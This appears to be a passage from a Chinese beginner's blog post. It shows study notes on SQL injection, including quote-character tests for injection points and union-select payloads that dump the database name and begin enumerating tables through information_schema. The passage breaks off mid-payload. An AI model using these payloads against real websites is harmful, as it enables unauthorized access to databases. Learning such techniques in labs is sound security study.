m0_50573308的博客

刚刚开始入手，对于一个SQL没学明白的人来说有点痛苦，各种命令语句。 简单的SQL注入： select … from … where id=‘参数’ //找到注入点，可以测试‘. “ . ’）.”）. ?id=-1’ /不正确的值/union select 1,2,database() --+//爆库名，–+是注释 ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_sc